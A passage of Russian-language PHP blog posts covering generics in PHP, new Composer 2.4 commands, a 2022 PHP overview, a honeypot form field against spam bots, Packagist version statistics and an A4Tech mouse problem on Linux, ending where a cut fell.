С другой стороны, системы типов имеют свои ограничения. Типичным примером является «коллекция»:

class Collection extends ArrayObject
{
    public function offsetGet(mixed $key): mixed 
    { /* … */ }
    
    public function filter(Closure $fn): self 
    { /* … */ }
    
    public function map(Closure $fn): self 
    { /* … */ }
}

У коллекции есть множество методов, которые работают с любым типом входных данных: цикл, фильтрация, сопоставление, что угодно, реализация коллекции не должна заботиться о том, имеет ли она дело со строками или целыми числами.

Но давайте посмотрим на это с точки зрения стороннего наблюдателя. Что произойдет, если мы хотим быть уверены, что одна коллекция содержит только строки, а другая только User объекты. Самой коллекции все равно, как перебираются ее элементы, но нам это важно. Мы хотим знать, является ли этот элемент в цикле пользователем или строкой - в этом большая разница. Но без надлежащей информации о типе наша IDE работает в полном неведении.

Теперь мы могли бы создать отдельные реализации для каждой коллекции: одну, которая работает только со строками, и другую, которая работает только с User объектами:

class StringCollection extends Collection
{
    public function offsetGet(mixed $key): string 
    { /* … */ }
}

class UserCollection extends Collection
{
    public function offsetGet(mixed $key): User 
    { /* … */ }
}

Но что, если нам нужна третья реализация? Четвертая? Может десятая или двадцатая. Становится довольно мучительно управлять всем этим кодом.  

И здесь на помощь приходят дженерики. Теперь, чтобы внести некую ясность: В PHP нет дженериков. То, что я покажу дальше, невозможно в PHP.

Вместо создания отдельной реализации для каждого возможного типа многие языки программирования позволяют разработчикам определять «общий» тип в классе коллекции:

class Collection<Type> extends ArrayObject
{
    public function offsetGet(mixed $key): Type 
    { /* … */ }
    
    // …
}

По сути, мы говорим, что реализация класса коллекции будет работать для любого типа входных данных, но когда мы создаем экземпляр коллекции, мы должны указать этот тип. Это общая реализация, но она конкретизируется в зависимости от потребностей программиста:

$users = new Collection<User>();

$names = new Collection<string>();

Может показаться, что сделали совсем немного: добавили тип.

Но один только этот тип открывает целый мир возможностей. Наша IDE теперь знает, какие данные находятся в коллекции, она может сказать нам, добавляем ли мы элемент неправильного типа; она может сказать нам, что мы можем делать с элементами при переборе коллекции, она может сказать нам, передаем ли мы коллекцию функции, которая знает как работать с этими конкретными элементами.

И хотя технически мы могли бы добиться того же, вручную реализовав коллекцию для каждого типа, который нам нужен; общая реализация была бы значительным упрощением для разработчиков, которые пишут и поддерживают код. 

Дженерики в деталях

Коллекции, вероятно, самый простой способ объяснить, что такое дженерики, но также люди нередко думают, что «дженерики» и «коллекции с типом» — это одно и то же. Это определенно не так.

Во фреймворке Laravel есть функция app - эта функция принимает имя класса и резолвит экземпляр этого класса, используя контейнер зависимостей:

function app(string $className): mixed
{
    return Container::get($className);
}

Теперь вам не нужно знать, как работает контейнер, важно то, что эта функция предоставит вам экземпляр класса, который вы запрашиваете.

Так что, по сути, это функция дженерика, чей возвращаемый тип  будет зависеть от того, какое имя класса вы ему передали. И было бы круто, если бы наша IDE и другие статические анализаторы тоже понимали, что если я даю этой функции имя класса UserRepository, я ожидаю, что будет возвращен экземпляр UserRepository, и ничего больше:

function app(string $className): mixed
{ /* … */ }

app(UserRepository::class); // ?

И я думаю, сейчас самое время упомянуть, что ранее я говорил, что дженериков не существует в PHP; ну и это не совсем так. Все статические анализаторы - инструменты, которые читают ваш код, не запуская его, такие инструменты, как ваша IDE - согласились использовать  для дженериков docblock аннотацию:

/**
 * @template Type
 * @param class-string<Type> $className
 * @return Type
 */
function app(string $className): mixed
{ /* … */ }

Может быть это не самый красивый синтаксис, но все статические анализаторы полагаются на простое соглашение, официальной спецификации нет; но тем не менее это работает. PhpStorm, Psalm и PhpStan - три крупнейших статических анализатора в мире PHP - в некоторой степени понимают этот синтаксис. 

Так что на самом деле мы можем построить эту app функцию таким образом, чтобы наши инструменты больше не работали в "темноте". Конечно, сам PHP не гарантирует, что возвращаемый тип будет правильным - PHP не будет выполнять никаких проверок типа во время выполнения для этой функции; но если мы можем доверять нашим статическим анализаторам, шансов на то, что этот код сломается при запуске, очень мало или даже нет.

Итак, предположим что дженерики как бы есть в PHP и все основные статические анализаторы умеют с ними работать. Но… есть пара нюансов.

Во-первых, нет официальной спецификации того, как должны выглядеть дженерики, прямо сейчас каждый статический анализатор может использовать свой собственный синтаксис - на данный момент они договорились об одном, но в будущем никаких гарантий.

Второе: использование аннотации докблоков, возможно, не совсем оптимально. Они кажутся менее важной частью нашей кодовой базы. И само собой разумеется: общие аннотации предоставляют только статическую информацию и не имеют функциональности во время выполнения, но мы видели, насколько мощным может быть статический анализ даже без проверок типов во время выполнения. Я думаю, что несправедливо рассматривать информацию о типах как «комментарии документа», это не сообщает о важности этих типов в нашем коде. Вот почему мы получили атрибуты в PHP 8: вся функциональность, которую обеспечивают атрибуты, уже была возможна с аннотациями docblock, но этого было недостаточно. То же самое касается дженериков.

И наконец: без надлежащей спецификации все три основных статических анализатора имеют различия между реализациями своих дженериков. В идеале должна быть официальная спецификация, исходящая от внутренних разработчиков PHP. Сейчас ее нет.

Так почему же в PHP до сих пор нет подходящих дженериков? Почему мы полагаемся на docblock-аннотации без четкой спецификации?

Почему не может быть дженериков в PHP

В прошлом году Никита Попов заявил что дженерики в PHP просто невыполнимы.

Чтобы понять, почему Никита так сказал, нужно рассмотреть ближе, как могут быть реализованы дженерики. В общем, есть три возможных способа сделать это: языки программирования, которые поддерживают дженерики, в основном используют один из этих трех методов.

Первый из них называется Monomorphized Generics (Мономорфизированные дженерики). Возьмем опять наш пример с коллекциями:

class StringCollection extends Collection
{
    public function offsetGet(mixed $key): string 
    { /* … */ }
}

class UserCollection extends Collection
{
    public function offsetGet(mixed $key): User 
    { /* … */ }
}

Как уже было сказано, мы можем вручную создавать реализации класса коллекции для каждого типа, для которого нам нужна коллекция. Пришлось бы тогда многое сделать вручную, было бы больше кода, но это сработало бы.

Мономорфизированные дженерики делают именно это, но автоматически, за кулисами. Во время выполнения PHP не будет знать об общем классе Collection, а скорее о двух или более конкретных реализациях:

$users = new Collection<User>();
// Collection_User

$slugs = new Collection<string>();
// Collection_string

Мономорфизированные дженерики — абсолютно правильный подход. Например, мономорфизированные дженерики использует Rust. Одним из преимуществ является большой прирост производительности, потому что больше нет проверок общих типов во время выполнения, все они разбиваются на части перед запуском кода.

Но это сразу же подводит нас к проблеме с мономорфизированными дженериками в PHP. В PHP нет явного шага компиляции, как в Rust, чтобы разделить один общий класс на несколько конкретных реализаций; и, кроме того: мономорфные дженерики требуют довольно много памяти, потому что вы делаете несколько копий одного и того же класса с некоторыми отличиями. Это может быть не такой большой проблемой для скомпилированного двоичного файла Rust, но это серьезная проблема для PHP-кода, запускаемого на сервере и обслуживающего сотни или тысячи запросов в секунду.

Следующий вариант - Reified Generics (Материализованные дженерики). Это реализация, в которой общий класс сохраняется как есть, а информация о типе оценивается на лету во время выполнения. Например те же C# и Kotlin имеют материализованную реализацию дженериков, и они наиболее близки к текущей системе типов PHP, потому что PHP выполняет все проверки типов во время выполнения. Проблема здесь в том, что для работы материализованных дженериков потребовался бы огромный объем рефакторинга основного кода ядра, и были бы некоторые потери производительности, поскольку мы делаем все больше и больше проверок типов во время выполнения.

Это подводит нас к последнему варианту: полностью игнорировать дженерики во время выполнения. Как будто их нет, в конце концов, общая реализация, например, класса коллекции в любом случае будет работать с любым типом входных данных.

Так что если мы будем игнорировать все проверки общих типов во время выполнения, проблем возникнуть не должно.

Но опять же, игнорирование общих типов во время выполнения - это, кстати, называется стиранием типов в Java и Python - создает некоторые проблемы для PHP.

Во-первых: PHP не только использует типы для проверки, он также использует информацию о типах для преобразования значений на лету из одного типа в другой - это жонглирование типами, о котором я упоминал в самом начале:

function sum(int $a, int $b): int 
{
    return $a + $b;
}

sum('1', '2') // 3;

Если бы PHP проигнорировал общий тип этой «строковой» коллекции, и мы случайно добавили бы к ней целое число, он не смог бы нас об этом предупредить, если бы общий тип был стерт:  

$slugs = new Collection<string>();

$slugs[] = 1; // 1 won't be cast to '1'

Вторая и более важная проблема со стиранием типов - заключается в том, что типы исчезли. Зачем нам добавлять общие типы, если они стираются во время выполнения?

Это имеет смысл делать в Java и Python, потому что все определения типов проверяются перед запуском кода с помощью статического анализатора. Java, например, запускает встроенный статический анализатор при компиляции кода, то чего PHP просто не делает: нет шага компиляции и, конечно же, нет встроенной статической проверки типов.

С другой стороны… все преимущества проверки типов не берутся из встроенного в PHP средства проверки типов во время выполнения. К тому времени, когда средство проверки типов PHP сообщает нам, что что-то не так, мы уже запустили код. Ошибка типа приводит к сбою приложения.

Вместо этого большая часть дополнительной ценности проверок типов исходит от статических анализаторов, которые не требуют запуска нашего кода. Они довольно хорошо проверяют, не может ли быть ошибок типов во время выполнения, если программист предоставляете достаточно информации о типах. Это не означает, что в вашем коде не может быть ошибок, но можно написать PHP-код, который полностью статически проверен и не выдает ошибок типов во время работы. 

Так нужны ли нам проверки типов во время выполнения? Потому что это основная причина, по которой дженерики не могут быть добавлены в PHP сегодня: это либо слишком сложно, либо слишком ресурсоемко для PHP, чтобы проверять общие типы во время выполнения. 

В заключение о дженериках PHP

Добавление мономорфных или материализованных дженериков не произойдет. По крайней мере, по словам Никиты, который провел обширное исследование по этой теме. Оба варианта либо создают проблемы с производительностью, либо просто требуют слишком большого рефакторинга основного кода средства проверки типов PHP во время выполнения, чтобы его можно было реализовать в разумные сроки.

Однако, если мы подумаем об истинной ценности, которую приносят дженерики, смысл которой не в проверках типов во время выполнения. К тому времени, когда срабатывает средство проверки типов во время выполнения PHP и, возможно, выдается ошибка типа, мы уже выполняем код. Наше приложение рухнет. 

Проверки типов во время выполнения в PHP - это очень полезный инструмент отладки, и в некоторых случаях он необходим для жонглирования типами. Но большая часть ценности системы типов PHP исходит от статического анализа.

Итак, если мы хотим использовать дженерики в PHP, нам нужно изменить мышление:

• Во-первых, разработчики должны использовать статический анализ . Ирония здесь в том, что разработчики, которым нужны дженерики и которые понимают их ценность, также понимают ценность статических средств проверки типов. Таким образом, если  PHP-разработчикам наплевать на статический анализ, они также могут не заботиться о дженериках. Потому что дженерики и статическая проверка типов просто не могут быть разделены.
  
• Во-вторых, если внутренние разработчики PHP решат, что статически проверенные дженерики имеют место быть в PHP,  им следует задаться вопросом, следует ли оставить статический анализ на сообществе, создав спецификацию, которой должен следовать каждый статический анализатор, либо сделать свою собственную статическую проверку типов. Второй определенно был бы предпочтительнее, но вы можете себе представить, какое это был бы большой труд. Я не думаю, что полагаться на проверенные сторонние инструменты должно быть проблемой.
  
• В-третьих, жонглирование типами было бы просто невозможно, по крайней мере, при использовании дженериков. Вам придется доверять вашей статической проверке типов. Это способ программирования, к которому PHP-разработчики на самом деле не привыкли, но многие другие языки делают именно это, и это отлично работает. Статическая проверка типов невероятно мощная и точная. Я могу себе представить, что разработчикам PHP трудно понять мощь языков со статической типизацией, не использовав их раньше. Стоит изучить такие языки, как Rust, Java или даже TypeScript, просто чтобы оценить мощь систем статических типов. Или вы можете начать использовать один из сторонних статических анализаторов PHP: Psalm или PHPStan.
  

Подводя итог: если нам нужны дженерики в PHP со всеми преимуществами, которые они приносят для статического анализа, нам нужно принять тот факт, что дженерики, стираемые во время выполнения, являются единственным жизнеспособным путем.

В заключение еще несколько замечаний, на которые я хотел бы обратить внимание.

Во-первых, есть аргумент, что то, что я описал, уже возможно с docblock-аннотациями, если подытожить: docblock-аннотации не сообщают разработчикам о такой же важной вещи, как встроенный синтаксис, поэтому в PHP 8 появились атрибуты; встроенный синтаксис имеет значение по сравнению с docblocks

Кроме того, нет официальной спецификации того, как должны выглядеть общие аннотации при использовании докблоков. Сегодня это большая проблема, так как все три основных статических анализатора имеют несколько разные реализации.

Второе замечание заключается в том, что даже при стирании типов мы все еще можем предоставлять информацию об общем типе через Reflection API. Я не говорю, что информация о типе должна полностью исчезать во время выполнения, меня больше всего беспокоит то, что PHP не должен проверять общие типы во время выполнения. Я не уверен, какое влияние окажет на ядро ​​​​PHP доступность информации об общем типе, с помощью Reflection API, так что я просто скажу, что не против этой идеи.

И, наконец, есть, конечно, другое решение. Тот, который возможно любой мог бы использовать. Тот, который зарекомендовал себя в прошлом в TypeScript. Вполне возможно, что будет создано надмножество PHP, которое будет компилироваться в обычный код PHP, и при компиляции выполняться множество проверок типов и другие интересные вещи. TypeScript очень популярен, и я думаю, что если есть место для подобного подхода в серверных языках, то PHP вероятно, является хорошим кандидатом. Однако TypeScript не появился волшебным образом за одну ночь. Он был создан опытными разработчиками языков, и это задача посложнее, чем добавление дженериков, игнорируемых во время выполнения, в PHP. Но кто знает, может быть, когда-нибудь...

Composer, де-факто менеджер зависимостей PHP привносит несколько новых функций в новом выпуске Composer 2.4

Итак, вышел новый релиз Composer 2.4. Релиз привнес новые команды, такие как audit и bump, поддержку завершения командной строки в поддерживаемых оболочках, предложения по установке пакета с флагом --dev , где это необходимо, улучшенную обработку сигналов процесса и многое другое.

Как и в предыдущей версии Composer 2.3, для Composer 2.4 также потребуется PHP 7.2. Приложениям, использующим более старые версии PHP, возможно, придется использовать Composer 2.2, который является версией с долгосрочной поддержкой, чтобы сначала облегчить переход на Composer 2.x.

Обновить Composer до Composer 2.4

composer self-update

Новая команда composer bump

bump - это новая команда в Composer 2.4, которая «бампит» ограничения версии пакета, перечисленные в файле composer.json, увеличивая их до последней версии в рамках разрешенных ограничений.

composer bump обновляет composer.json с новыми номерами версий, но только в пределах разрешенных основных/дополнительных/исправлений. Например, если для файла composer.json требуется пакет phpunit/phpunit с ограничением версии ^9.4, это означает, что Composer разрешено устанавливать phpunit/phpunit версии в диапазоне от  >= 9.4.0 >= и < 10.

{
   "require": {
-        "phpunit/phpunit": "^9.4"
+        "phpunit/phpunit": "^9.5.20"
   }
}

Команда composer bump не обновляет требования к платформе, такие как версия PHP и версий расширений. 

Новая команда composer audit

Composer 2.4 добавляет новую команду composer audit, которая сканирует установленные пакеты на наличие известных уязвимостей безопасности. 

Composer предлагает предупреждения о небезопасных версиях зависимостей из коробки как часть каждой команды composer update (можно отключить там, где это не имеет значения с помощью --no-audit)

По умолчанию аудит install отключен для повышения производительности, потому что большинство установок запускаются автоматически, никто не просматривает их выходные данные, но ее также можно включить и настроить с помощью флага --audit: 

composer install --audit --audit-format=plain

Поддержка завершения команд, пакета и опции bash

Очень крутая функция, хоть и  потребует нескольких шагов ручной настройки, но это того стоит! То есть теперь при нажатии на табуляцию Composer завершит ввод команд, параметров и даже имен пакетов. Внутренне завершение Composer зависит от библиотеки Symfony Console. На данный момент поддержка ограничена Bash.

Чтобы настроить завершение Composer, запустите composer completion без параметров. На поддерживаемых платформах Composer выведет скрипт завершения, который следует поместить в каталог, в который оболочка загружает сценарии завершения. Для этой установки также требуется установленный пакет bash-complete.

sudo apt install bash-completion
composer completion | sudo tee /etc/bash_completion.d/composer | exec bash 

Предлагает установить пакеты с --dev

При попытке установить пакет, помеченный как dev, testing или static analysis без флага --dev Composer 2.4 предложит пользователю вместо этого установить пакет как зависимость require-dev:

Это полезно для предотвращения случайной установки тестовых фреймворков, статических анализаторов, инструментов контроля качества кода и т.д. в качестве продакшн зависимостей.

Улучшение команды composer outdated

Команда command outdated выводит список устаревших пакетов из установленных в настоящее время, была обновлена ​​в Composer 2.4. Теперь Composer отображает прямые и транзитивные зависимости отдельно:

Кроме того, composer outdated теперь поддерживает флаг --major-only, в котором перечислены только пакеты с устаревшей основной версией. Composer уже поддерживает опции --patch-only и --minor-only для фильтрации устаревших версий по исправлениям и второстепенным версиям.

Также было добавлено множество мелких улучшений, например улучшенная обработка сигналов:

• ранее когда Composer получал сигнал SIGINT/SIGTERM/SIGHUP (например SIGINT, когда пользователь нажимает ^C), Composer ожидал завершения всех запущенных внешних процессов. Composer 2.4 может отобразить полный вывод процессов перед завершением.
• composer dump-autoload теперь поддерживает --strict-psr - обнаружение и сбой при наличии файлов, не соответствующих соглашению об именах PSR-0/PSR-4.
• composer добавлен как псевдоним для composer require.
• Composer\Autoload\ClassMapGenerator устарел в пользу нового пакета composer/class-map-generator.

Composer версии 2.4 добавляет новую команду bump

На текущий момент версия композера 2.3.9. Скоро в релиз выйдет версия 2.4. И в этот релиз добавят интересную команду с названием bump, которая увеличивает требования к номерам версии пакетов, перечисленные в composer.json. Когда номера версий в файле composer.json будут изменены, Composer уже не может установить более раннюю версию необходимых пакетов.

Например, файл composer.json, для которого требуется пакет phpunit/phpunit с ограничением версии, ^9.4.0 означает, что Composer разрешено устанавливать версии пакета phpunit/phpunit в диапазоне от >= 9.4.0 и до < 10.

{
    "require-dev": {
        "phpunit/phpunit": "^9.4"
    }
}

Когда выполнится команда composer bump, она обновляет требования всех пакетов ( если они не сужены) до текущей установленной версии, делая текущую версию нижней границей ограничения пакета.

В примере phpunit/phpunit текущая установленная версия — 9.5.20, запуск composer bump обновит файл composer.json, чтобы использовать эту версию в качестве нижней границы:

{
   "require": {
-        "phpunit/phpunit": "^9.4"
+        "phpunit/phpunit": "^9.5.20"
   }
}

Стоит заметить, что команда composer bump не обновляет требования к платформе, такие как версия PHP и версий расширения. 

Сужение списка пакетов

Команда composer bump поддерживает сужение пакетов, которые передаются в разделы require и require-dev с необязательными флагами.

• --dev-only: только пакеты в require-dev.
• --no-dev-only: пакеты в require.

Например, следующая команда поднимает требования только тем пакетам, которые перечислены в разделе require-dev файла composer.json:

composer bump --dev-only

Требование файла composer.lock

Команде composer bump требуется обновленный файл composer.lock. Это связано с тем, что composer bump проверяет файл composer.lock, чтобы определить текущие установленные версии.

Если файла composer.lock не существует, Composer выдает сообщение об успешном выполнении:

No requirements to update in ./composer.json.

Если файл composer.lock устарел, Composer завершает работу с ошибкой: 

The lock file is not up to date with the latest changes in composer.json. Run the appropriate `update` to fix that before you use the `bump` command.

Предупреждение при превышении требований

Обратите внимание, что при изменении ограничений версии он эффективно сужает список возможных версий, которые Composer может разрешить. Когда пакет требуется для нескольких непосредственных или косвенных зависимостей, сужение ограничений версии может помешать Composer правильно определить номер версии.

Когда библиотекам требуется один и тот же пакет, но с разными ограничениями версии, изменение нижней границы одной библиотеки может помешать ее использованию вместе с другой библиотекой.

Например, Composer может установить библиотеку symfony/finder, если две библиотеки требуют ее с ограничениями версии, такими как ^6.0.0 (любая 6.* версия) и ~6.0.0 (любая 6.0.* версия), выбрав версию symfony/finder, которая удовлетворяет обоим ограничениям версии, например 6.0.8.

Если пакет A решит увеличить ограничение symfony/finder версии до ^6.1.0, Composer больше не сможет правильно определить версию, потому что пакет B поддерживает только последовательные версии symfony/finder 6.0.

Композер сразу предупреждает и об этом:

Warning: Bumping dependency constraints is not recommended for libraries as it will narrow down your dependencies and may cause problems for your users.
If your package is not a library, you can explicitly specify the "type" by using "composer config type project".
Alternatively you can use --dev-only to only bump dependencies within "require-dev".

Как говорится в предупреждении, рекомендуется обновлять раздел require-dev только с опцией --dev-only, чтобы предотвратить чрезмерное сужение вариантов версий зависимостей.

Ежегодный пост, подводящий некую черту возможностей языка PHP и возможно отвечающий на вопрос, стоит ли изучать язык PHP в 2022 году.

В этом году мы увидели потрясающие новые функции, добавленные в PHP, такие как атрибуты, enums, объявление свойств в конструкторе и fibers; и вдобавок ко всему, сообщество статического анализа добилось больших успехов. Итак, начнем.

PHP 8.1

Возглавит этот список новейшая версия PHP 8.1. Большинство наших проектов уже перешли на PHP 8.1 в продакшене, чему я признаться очень рад. Возможно, вы не ожидаете этого от минорной версии — в ней нет серьезных критических изменений, а добавлены только уведомления об устаревании, - но PHP 8.1 предлагает несколько очень интересных функций.

Перечисления теперь встроены в язык:

enum Status
{
    case draft;
    case published;
    case archived;
    
    public function color(): string
    {
        return match($this) 
        {
            Status::draft => 'grey',   
            Status::published => 'green',   
            Status::archived => 'red',   
        };
    }
}

Мы можем использовать new в инициализаторах:

class PostStateMachine
{
    public function __construct(
        private State $state = new Draft(),
    ) {
    }
}

И, конечно же, свойства только для чтения:  

class PostData
{
    public function __construct(
        public readonly string $title,
        public readonly PostState $state,
        public readonly DateTimeImmutable $publishedAt,
    ) {}
}

Что, в сочетании с объявлением свойств в конструкторе PHP 8.0 , делает некоторые классы данных очень чистыми. Чтобы наглядно представить разницу, вот тот же класс с той же функциональностью, написанный на PHP 5.6:

class PostData
{
    /** @var string */
    private $title;
    
    /** @var State */
    private $state;
    
    /** @var \DateTimeImmutable|null */
    private $publishedAt;
   
   /**
    * @param string $title 
    * @param State $state 
    * @param \DateTimeImmutable|null $publishedAt 
    */
    public function __construct(
        $title,
        $state,
        $publishedAt = null
    ) {
        $this->title = $title;
        $this->state = $state;
        $this->publishedAt = $publishedAt;
    }
    
    /**
     * @return string 
     */
    public function getTitle()
    {
        return $this->title;    
    }
    
    /**
     * @return State 
     */
    public function getState() 
    {
        return $this->state;    
    }
    
    /**
     * @return \DateTimeImmutable|null 
     */
    public function getPublishedAt() 
    {
        return $this->publishedAt;    
    }
}

Статический анализ

Статический анализ в PHP значительно развивается. Такие фреймворки, как Laravel, все больше и больше используют статическую типизацию (написание кода и докблоков с единственной целью помочь статическому анализу); В PhpStorm добавлена ​​поддержка универсальных типов, это очень важно, если вы можете написать универсальный код и ваша IDE понимает его , пока вы его пишете; PhpStan и Psalm только растут;

PHP foundation

Несколько месяцев назад PHP получил довольно большую новость, может быть, даже самую большую новость 2021 года: Никита Попов, один из самых активных специалистов по поддержке ядра, уходит, чтобы работать над LLVM, но в то же время появилась новая инициатива, поддержанная несколькими крупные компании, чтобы, наконец, сделать основное развитие устойчивым.

Короче говоря, есть PHP Foundation, некоммерческая организация, единственной целью которой является финансирование разработки ядра PHP. Инициатива продвигается JetBrains, которая уже вложила в проект 100 000 долларов. Наряду со многими другими, они собрали 329 920,75 долларов - хорошее начало!

Эти деньги используются для финансирования основной разработки и открывают возможности для работы над PHP для людей, которые раньше не могли этого сделать. Подробнее о миссии и целях Фонда можно прочитать в блоге JetBrains.

Экосистема

Ну и нельзя не упомянуть Packagist, в котором сейчас зарегистрировано более 3 миллионов версий и более 300 000 пакетов. Как видите, экосистема продолжает расти и расти, и 2022 год ничем не будет отличаться.

Асинхронный PHP

Одним из захватывающих событий в асинхронном сообществе стало то, что разработчики из Amp и ReactPHP — двух основных асинхронных игроков — объединились, чтобы создать совместимую с волокном реализацию цикла событий под названием Revolt PHP.

По сравнению с сообществом в целом, асинхронный PHP используется лишь небольшой его частью; но, тем не менее, приятно видеть, что асинхронное сообщество становится сильным и охватывает современный PHP.

Serverless PHP

У меня не было никаких вариантов его использования, но я знаю все больше и больше людей, использующих бессерверный PHP в продакшене, так что за этим определенно стоит следить.

Подводя итоги

PHP — это язык программирования, который широко используется для веб-разработки. Он прост в освоении для новичков и имеет множество модулей и библиотек, которые обеспечивают надежное программирование. PHP также является языком с открытым исходным кодом, что означает, что код доступен для использования и изменения любым пользователем. Это делает его отличным выбором для веб-разработчиков, которые хотят создавать собственные решения. Кроме того, PHP-сообщество большое и активное, поэтому в Интернете доступно множество ресурсов, если вам нужна помощь.

PHP будет по-прежнему популярен в 2022 году, потому что он прост в использовании и универсален. Его можно использовать как для небольших, так и для крупных проектов, что делает его хорошим выбором для предприятий любого размера.

Пост продемонстрирует простую технику, которая поможет вам блокировать спамеров и ботов, атакующих формы вашего веб-сайта

Хотелось бы предупредить заранее, что не стоит рассматривать эту защиту как панацею от всех атак, это скорее дополнительный уровень защиты от спама, а не основной функционал. Возможно для вашего ресурса понадобятся более продвинутые системы, такими как reCaptcha и т.д. Но из-за простоты этого метода я рекомендую вам не игнорировать его применение в своих формах.

Итак, представьте, что у вас есть обычная структура формы, следующего вида:

<form id="form" action="/send">
    <label for="name">* Ваше имя:</label>
    <input type="text" id="name" name="name" placeholder="Введите имя" required maxlength="100">
    <label for="email">* Ваш E-mail:</label>
    <input type="email" id="email" name="email" placeholder="Введите e-mail" required>
    <input type="submit" value="Отправить" />
</form>

 Т.к. большинство ботов - тупые, у них стоит задача заполнить все поля формы, ведь на форме могут быть различные чекбоксы типа "Соглашаюсь с ..", на этом и строится вся логика "Приманки".

Поэтому если мы немного дополним форму чекбоксом с именем, ну например fax_only, и скроем его с глаз с помощью стиля display:none:

<form id="form" action="/send">
    <label for="name">* Ваше имя:</label>
    <input type="text" id="name" name="name" placeholder="Введите имя" required maxlength="100">
    <label for="email">* Ваш E-mail:</label>
    <input type="email" id="email" name="email" placeholder="Введите e-mail" required>
    <input type="checkbox" name="fax_only" id="fax_only" value="1" style="display:none;" autocomplete="off" />
    <input type="submit" value="Отправить" />
</form> 

Как вариант, еще можно скрыть элемент без использования diplay:none, т.к. некоторые боты могут это "учуять":

.hidden {
        opacity: 0;
        position: absolute;
        top: 0;
        left: 0;
        height: 0;
        width: 0;
        z-index: -1;
}

Но в большинстве случаев даже display none вполне себе рабочий вариант, если же боты все же будут пробивать защиту можно озадачиться усовершенствованием стилей.

Теперь в форме есть 2 вида данных: реальные поля с нашими входными данными (и возможно защищенными хешами) и наш приманка (лучше всего использовать более менее реальные имена, и не использовать "honeypot" и пр. "приманочные" имена).

На бэкэнде достаточно сделать проверку не было ли заполнено какое-либо из полей «honeypot». Если да, поздравляю, вы поймали спам. Большинство ботов заполнит все поля, не различая их. Если вы предпочитаете выполнить эту проверку на клиенте, в случае формы ajax, то это позволит избежать использования ресурсов сервера для вычисления бесполезных данных (но все равно сохраните проверку и на бэкенде). Когда вы поймаете спам, просто не отправляйте данные и делайте с ними все, что хотите. Пример для Laravel:

public function send(Request $request)
{
    if ($request->fax_only){
        die();
    }
        
    //вроде как не спам
}

Ну или просто проверка $_REQUEST в PHP:

if (isset($_REQUEST["fax_only"]) && !empty($_REQUEST["fax_only"])) {
  die();
}

Есть еще более продвинутые варианты реализации "приманки" с помощью JavaScript, но как уже писал выше обычно достаточно и простого варианта, а совершенствовать ее можно по мере того, как боты смогут и будут обходить вашу защиту. 

Вторая ежегодная статистика 2022 используемых версий PHP от Packagist

Итак второй отчет по использованию версий PHP, про первую часть можно прочитать здесь.

Напоминаю, что вся статистика открыта и все диаграммы доступны любому пользователю по ссылке https://packagist.org/php-statistics .

Статистика использования

Начнем с процентной доли версий PHP, используемых сегодня, и сравним ее с двумя предыдущими версиями:

Можно заметить, что сюда не входят версии, использование которых не превышает 1%. Визуализация этих данных выглядит примерно так:

Как и ожидалось, в течение года PHP 8.1 растет, а использование PHP 8.0 уже снижается. Хороший знак - что разработчики обновляются! Имейте в виду, что PHP 8.0 будет активно поддерживаться еще четыре месяца. Так что, если вы еще не начали обновляться до PHP 8.1, сейчас самое время.

Но пока более 50% разработчиков все еще используют PHP 7.4 или ниже. Это немалое число, учитывая, что PHP 7.4 получает обновления безопасности еще 5 месяцев, а более старые версии просто больше не поддерживаются.

Переходя к обзорной диаграмме за все время, вы можете увидеть эволюцию использования версий с течением времени:

Интересно сравнить пик 5.5 в 2014 году с пиком 7.4 два года назад. PHP 5.5 и последующие версии испытали гораздо более быстрый спад, как только PHP 7.0 стал доступен, по сравнению с PHP 7.4, когда был выпущен PHP 8.0. Немного странно, что PHP 8.0 не был таким захватывающим, как PHP 7.0.

В наши дни страх перед обновлением не должен быть препятствием по сравнению с тем, что было восемь лет назад: теперь у нас есть зрелые инструменты, такие как Rector и PHP CS, которые позаботятся о почти всем пути обновления за вас.

Так почему же люди не обновляются до PHP 8.0? Почему больше людей остаются с PHP 7.4 по сравнению с 5.5 и 5.6 днями? Окончательного ответа нет.

Требуемые версии

Итак посмотрим на другую метрику - минимальная требуемая версия пакетов. Если использовать анализатор популярных пакетов Никиты Попова, чтобы загрузить 1000 самых популярных пакетов, и написать небольшой скрипт, чтобы получить самую низкую версию, которую они поддерживают, из их файлов composer.json, то получатся такие данные:

Интересная получается картина, с одной стороны, приятно видеть PHP 8.1 как минимальную требуемую версию для 125 пакетов. Однако посмотрите, сколько пакетов по-прежнему требуют версии ниже PHP 8.0: 707 из 926 проанализированных пакетов. Это более 75%!

Да, в качестве примечания: существует всего 926 пакетов, потому что для некоторых из 1000 самых популярных пакетов не требуется версия PHP.

Нанесем эти данные на график:

Ну Вы то уже используете PHP 8.1?)

Когда мышь от A4Tech в Linux ведет себя неадекватно

Долгое время я пользовался лазерными мышами от A4Tech X7, и все было классно, и дома мышь X7 и на работе тоже мышь X7. Вот такая

И все было круто, до поры до времени...

В последние годы все чаще стали возникать проблемы с курсором мыши, например после пробуждения компьютера некоторое время курсор не мог нормально ездить по экрану, его штормило, дрожал и пользоваться ближайшие несколько минут было, практически, невозможно. Чертов "грызун"!

Сначала я списывал все на загрязнение лазера, чистил стеклышко внизу и 50 на 50, что проходило, но до ближайшего  сна компьютера. В какой-то момент все усугубилось, мышь могла минут 10 дрожать и пройти только после перезагрузки. Начал грешить на драйвера в линуксе, настройки и пр. В какой-то момент мышь стала вести себя так постоянно, и я подумал что она свое "отжила" (хотя казалось бы, что могло в ней исчерпаться за годы пользования), ну ладно, решили купить новую мышь на работу.

Выбор опять же (по привычке или понравилась внешне) пал на A4Tech P91S Bloody, вот такую:

И подключив ее первый раз, я немного прифигел, она вела себя еще неадекватнее чем X7, попросту вела курсор строго вниз и вправа, а вверх и влево отказывалась напрочь, интересно, подумал я, тут же проверили ее на Windows - все отлично, я достал старую мышь X7, мы проверили ее на Windows и все ок, т.е. была прямая зависимость поведения курсора мыши от операционной системы. В Винде все ок, на линуксе - "нервы на свалку"!

Это что получается зря мышь купили что ли?

Что интересно вместе с этой мышью набрали для менеджеров штук 5 обычных недорогих Okclick'вских мышей, и взяв одну в качестве проверки, она идеально работала на моем компьютере, что ж в мышах A4Tech есть такого, что им мешает нормально работать на линуксах?

А дело во внутренней аппаратной начинке устройстве, с возможностью обновлять прошивку мыши. Нативно поддержки  Linux нет, но можно воспользоваться wine или ОС Windows, если есть под рукой. На сайте компании можно загрузить приложение Bloddy 7 и залить прошивку под любые нужды. Интерфейсно выглядит так:

